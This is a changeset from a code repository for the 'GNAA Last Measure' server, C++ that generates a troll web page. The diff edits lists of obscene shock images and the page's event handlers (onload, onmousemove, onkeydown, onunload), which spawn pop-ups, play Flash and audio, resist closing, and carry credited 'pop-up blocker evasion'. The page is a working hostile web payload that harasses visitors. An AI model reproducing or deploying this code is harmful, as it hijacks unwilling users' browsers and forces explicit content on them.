Changeset 568 for trollforge

Timestamp:

01/11/12 22:26:57 (17 months ago)

Author:

literalka

Message:

tested, i think it works fine now

Location:

trollforge/lastmeasure/server

Files:

• lmresource.h (modified) (8 diffs)
• lmserver.cpp (modified) (1 diff)

trollforge/lastmeasure/server/lmresource.h

@@ -45 +45 @@
 #else
     /* Static soft images - 13 */
-    "/soft/christmas.jpg", "/soft/pillowfight.jpg",
-    "/soft/eww.jpg", "/soft/pooped.jpg",
-    "/soft/freak.jpg", "/soft/rustina.jpg",
-    "/soft/hello.jpg", "/soft/spin.gif",
-    "/soft/lemonparty.jpg", "/soft/tubgirl.jpg",
-    "/soft/loopback.jpg", "/soft/weightlifter.jpg",
+    "/soft/christmas.jpg",    "/soft/pillowfight.jpg",
+    "/soft/eww.jpg",          "/soft/pooped.jpg",
+    "/soft/freak.jpg",        "/soft/rustina.jpg",
+    "/soft/hello.jpg",        "/soft/spin.gif",
+    "/soft/lemonparty.jpg",   "/soft/tubgirl.jpg",
+    "/soft/loopback.jpg",     "/soft/weightlifter.jpg",
     "/soft/ouch.jpg",
 #endif
@@ -116 +116 @@
 
         /* Is this a pop-up? */
-        /* TODO: Confirm this works. -- Leon */
-        bool is_popup = strstr(resource, "?popup=1");
+        bool is_popup = (strstr(query, "popup=1") > 0);
 
         char const *flash;
@@ -137 +136 @@
     "    <title>GNAA Last Measure Live!</title>\r\n"
     "    <meta name=\"keywords\" content=\"" << Keywords(128) << "\" />\r\n"
-    "    <script type=\"text/javascript\">" << JavaScript(host) <<
+    "    <meta name=\"description\" content=\"" << Keywords(20) << "\" />\r\n"
+    "    <script type=\"text/javascript\">\r\n" << JavaScript(host) <<
     "    </script>\r\n"
     "    <link rel=\"icon\" type=\"image/x-icon\" "
-    "          href=\"http://" << host << "/favicon.ico\" />\r\n"
+             "href=\"http://" << host << "/favicon.ico\" />\r\n"
     "    <link rel=\"shortcut icon\" type=\"image/x-icon\" "
-    "          href=\"http://" << host << "/favicon.ico\" />\r\n"
+             "href=\"http://" << host << "/favicon.ico\" />\r\n"
     "    <style type=\"text/css\">\r\n"
     "      html { height: 100%; width: 100%; overflow: hidden; }\r\n"
@@ -155 +155 @@
           << RandomAsset("/soft/") << "); background-color: #FFFFFF;\""
 #endif
-    "        onload=\"bookmark(); noframes(); load_goatse();"
-    "        document.goatse.reset(); movew0w(); setTimeout('ruin()', 20);";
+    "\r\n        onload=\"bookmark(); noframes(); load_goatse(); document.goatse.reset(); movew0w(); ";
         if (is_ie6)
-            data << "setTimeout('main()', 100);";
+            data << "setTimeout('main()', 100); ";
         data <<
-    "        onmousemove=\"document.goatse.reset(); movew0w(); procreate();\""
-    "        onkeydown=\"molish(); procreate();\""
-    "        onunload=\"document.goatse.reset(); movew0w(); procreate();\""
+    "setTimeout('ruin()', 20);\"\r\n"
+    "        onmousemove=\"document.goatse.reset(); movew0w(); procreate();\"\r\n"
+    "        onkeydown=\"molish(); procreate();\"\r\n"
+    "        onunload=\"document.goatse.reset(); movew0w(); procreate();\"\r\n"
     "        onmouseover=\"document.goatse.reset(); movew0w(); procreate();\">\r\n";
 
@@ -225 +225 @@
 
             for(size_t i = 0; i < audiocount; i++) {
-                data << "    audio[" << (i+imagecount) << "] = 'http://" << host << "/audio/" << staticnames[i+imagecount] << "';\r\n";
+                data << "    audio[" << (i+imagecount) << "] = 'http://" << host << "" << staticnames[i+imagecount] << "';\r\n";
             }
 
@@ -253 +253 @@
              << "\">something else</a>.</p>"
 #ifndef SOFT
-             << "<img src=\"" << RandomAsset("/images/") << "\" />"
+             << "<img src=\"http://" << host << "" << RandomAsset("/images/") << "\" />"
 #else
-             << "<img src=\"" << RandomAsset("/soft/") << "\" />"
+             << "<img src=\"http://" << host << "" << RandomAsset("/soft/") << "\" />"
 #endif
              << "</body></html>";
@@ -321 +321 @@
  "    credits += \"And much, much more!\\n\";\r\n"
  "    credits += \"\\n\\n\";\r\n"
- "    credits += \"Total, complete, all-versions, pop-up blocker bashing-to-pieces by goat-see\\n\";\r\n"
+ "    credits += \"Pop-up blocker evasion technology by Armorfist and goat-see\\n\";\r\n"
  "    credits += \"hey.swf by rkz\\n\";\r\n"
  "    credits += \"lmserver by sam and LiteralKa\\n\";\r\n"
@@ -362 +362 @@
  "}\r\n"
 
- "goatseflash  = '<div id=\"hello\" style=\"z-index: 50; position: fixed; top: 0px; left: 0px; width: 100%; height: 100%;\">';\r\n"
- "goatseflash += '  <object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\" width=\"100%\" height=\"100%\">';\r\n"
- "goatseflash += '    <param name=\"movie\" value=\"http://" << host << "/flash/hello.swf\" />'\r\n"
- "goatseflash += '    <param name=\"wmode\" value=\"transparent\" />';\r\n"
- "goatseflash += '  </object>'\r\n"
- "goatseflash += '</div>';\r\n"
+ "goatseflash  = \"<div id='hello' style='z-index: 50; position: fixed; top: 0px; left: 0px; width: 100%; height: 100%;'>\";\r\n"
+ "goatseflash += \"  <object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0' width='100%' height='100%'>\";\r\n"
+ "goatseflash += \"    <param name='movie' value='http://" << host << "/flash/hello.swf' />\";\r\n"
+ "goatseflash += \"    <param name='wmode' value='transparent' />\";\r\n"
+ "goatseflash += \"  </object>\";\r\n"
+ "goatseflash += \"</div>\";\r\n"
 
  "function load_goatse() {\r\n"

trollforge/lastmeasure/server/lmserver.cpp

@@ -203 +203 @@
 
     /* Find information in the request */
+    /* TODO: Perhaps make `query' an array. Example:
+     *       `?u=dongs&popup=1'
+     *       * query[0] = "u=dongs";
+     *       * query[1] = "popup=1";
+     */
     char const *resource = "/", *query = "",
                *agent = "Unknown", *host = "127.0.0.1";